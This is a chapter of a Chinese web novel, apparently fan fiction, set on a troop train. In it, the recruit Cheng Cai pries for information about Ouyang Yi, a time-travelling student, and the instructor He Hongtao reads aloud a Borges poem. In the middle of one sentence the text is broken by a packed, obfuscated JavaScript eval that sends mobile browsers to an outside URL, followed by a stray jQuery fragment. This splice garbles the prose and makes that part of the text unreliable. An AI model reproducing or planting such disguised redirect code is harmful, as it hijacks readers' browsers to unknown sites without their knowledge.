刚离开这节车厢，避开了人，成才猛的抓住许三多的衣领，威胁似的拽了拽：“诶，三呆子。跟你坐在一起的那人是啥来路？为啥班长和指导员让他和你坐？”


    许三多难受的往旁边躲：“他叫欧阳译。”


    “还有嘞？”


    “他可好了。”


    “废话！”成才稍微高了嗓门，但下一秒，顾忌着其他人，又小了声，龇着牙威胁许三多：“三呆子，我问的是这个吗？”


    “我是问你知道他啥来路不？看着比当兵的还像当兵的。”他指的是进车厢看到的场景，同样是睡觉，指导员都已经睡歪了，负责他们的那个班长也低着脑袋，只有欧阳译，坐姿整齐得让他看了眼热。


    成才在村里的时候，就以全村第一自居，在他们那个小小的村子里，别说大学了，就是高中毕业都少见，绝大部分没读完初中就选择了种地和打工。以成才的水平，绝对算得上是远近首屈一指的文化人。


    这一点加上村长儿子的身份足以让他自傲，而自从选择了当兵，坐上了这列车，他的目标就开始有了转变。他不像许三多似的，到现在都还不懂当兵的意义。


    为啥当兵，当然是为了混个身份回来好转业。


    那怎么样才能叫好转业？当然是要多混点人脉。


    是以，一上车，成才就对周围的人保持了足够的热情，对以前嫌弃的三呆子也不那么嫌弃了，毕竟，出门在外，老乡肯定是最好的，特别是三呆子这种人，绝对不会坑他。


    他觉得他表现得很好了，之前在站台上，主动和他爹说再见，自觉站进未成形的队伍里，还得了招兵的那个班长一个好脸呢，结果，事情等上车之后就变了，许三多和那个叫刘强的人交换了位置，刘强告诉他们，他原来的邻座可有本事了。


    “长得又高又壮，指导员拉着他上车的，嘴里还说什么大学生真难得。”


    大学生？


    成才的心立马一惊。


    所以，刚到饭点，他就借着泡方便面的名义来打探敌情了。


    可惜，三呆子就是三呆子，知道的还没他多，满口都是：“欧阳译对俺可好了。”“他一直拿书在看嘞。”“还给我借了一本，说到部队要考嘞。”


    “考？”


    成才敏锐的抓住了这点：“哪本书？能借我看不？”


    许三多犹豫了：“……书不是我的。”


    “那你问那个欧阳译。”


    “也不是他的。”


    “那是谁的？有话你能不能一次性说完？”


    “是指导员的。”


    成才：“……”


    “那，那俺给你去问……”


    “你问啥问。”成才急眼了，捅了他一把，刚发誓的普通话瞬间就忘了。


    “那，那你要俺干嘛？”


    许三多可怜巴巴的看着他。


    成才眼睛转了转：“你帮我盯着，看他看什么书。反正你记性不错，把书名背给我。”回头他自己找去。


    “这样不好吧？”


    “有什么不好的？又没让你看内容。”


    说得好像有点道理。


    许三多吃完方便面，晕乎乎的回了座位。


    这时，大部分人也都醒了，开始走动了。他看见欧阳译拿了个罐头还有一瓶水，在用餐。


    何指导员也醒了，看着尖子生吃得这么简谱，心疼得不得了：“你怎么吃这个啊？我带你去餐车，好好补补。”


    “谢谢指导员，但真的不用了。这是我特地带的。”欧阳译三下五除二的干掉了罐头里的午餐肉，拿干净的底给他看：“这个量大，一盒就够饱了。”


    “你喜欢吃这个？”何洪涛趁机打听对方喜好，细节决定成败，老七肯定做不到他这么细心。


    “比起喜欢，算是一种习惯，一般有一场大仗要打之前，我都会吃这个，久而久之就习惯了。”


    何洪涛把那句打仗理解成了大事发生，以为自己理解了。


    他并不知道眼前之人经历了一次离奇的穿越，从战争时期来到了和平年代，自然也不会知道，吃罐头是欧阳译那个团独有的习惯。


    他们的团座似乎有缺粮恐惧症，每次大战之前，都要让战士们饱餐一顿，吃不下的人也必须硬吃，最后，在那座固若金汤的碉堡里，也存了足足可以过一整年的粮食。罐头作为最好保存的一种，自然囤得最多。欧阳译那时都已经吃得想吐了，可重生之后，再入军营，他还是习惯性地买了几盒罐头，塞在了行李的最上一层。


    吃完，这个车里没有运动的地方，欧阳译就又从行李里拿了一本书出来。


    刚刚那本书，他正好把结尾看完。


    “带这么多书啊。”何


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800488|158385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    洪涛总算找到话题了，“你看的是什么？”


    “报告，是外国诗集。”


    见他的目光放在书上，欧阳译递了过去。


    旁边打开小册子继续看的许三多想起成才的吩咐，也竖起耳朵听着。


    “博尔赫斯，看不出你还挺有文艺细胞。”


    何洪涛已经在畅想自己的连队能出一个文武双全的兵了。


    “我用什么才能留住你？”他捧着书，低低的念着书本里的诗句。


    “我给你贫穷的街道、绝望的日落、破败郊区的月亮。


    我给你一个久久地望着孤月的人的悲哀。


    我给你我已死去的先辈，人们用大理石纪念他们的幽灵：


    在布宜诺斯艾利斯边境阵亡的我父亲的父亲，


    两颗子弹射穿了他的胸膛，蓄着胡子的他死去了，


    士兵们用牛皮裹起他的尸体；


    我母亲的祖父——时年二十四岁——


    在秘鲁率领三百名士兵冲锋，如今都成了消失的马背上的幽灵。


    我给你我写的书中所能包含的一切悟力、


    我生活中所能有的男子气概或幽默。


    我给你一个从未有过信仰的人的忠诚。


    我给你我设法保全的我自己的核心——


    不营字造句，不和梦想交易，


    不被时间、欢乐和逆境触动的核心。


    我给你，早在你出生前多年的一个傍晚看到的一朵黄玫瑰的记忆。


    我给你你对自己的解释，关于你自己的理论，


    你自己的真实而惊人的消息。


    我给你我的寂寞、我的黑暗、我心的饥渴；


    我试图用困惑、危险、失败来打动你。”


    他的声音不高不低，车厢里有人毫不在意，也有人困惑着。


    许三多在思考。他有点听懂又有点听不懂，觉得这首诗听着有点难过。


    何洪涛倒是理解得很直白：“你有女朋友？”


    “报告，没有。”


    他有点不信。


    “这只是单纯的诗句。”


    如果非要在诗句和现实里找一个因果关系的话。


    欧阳译想，他或许是里面的诗人，在苦苦等一个道歉。


    可这个不可能的道歉必须一个不可能道歉的人回答。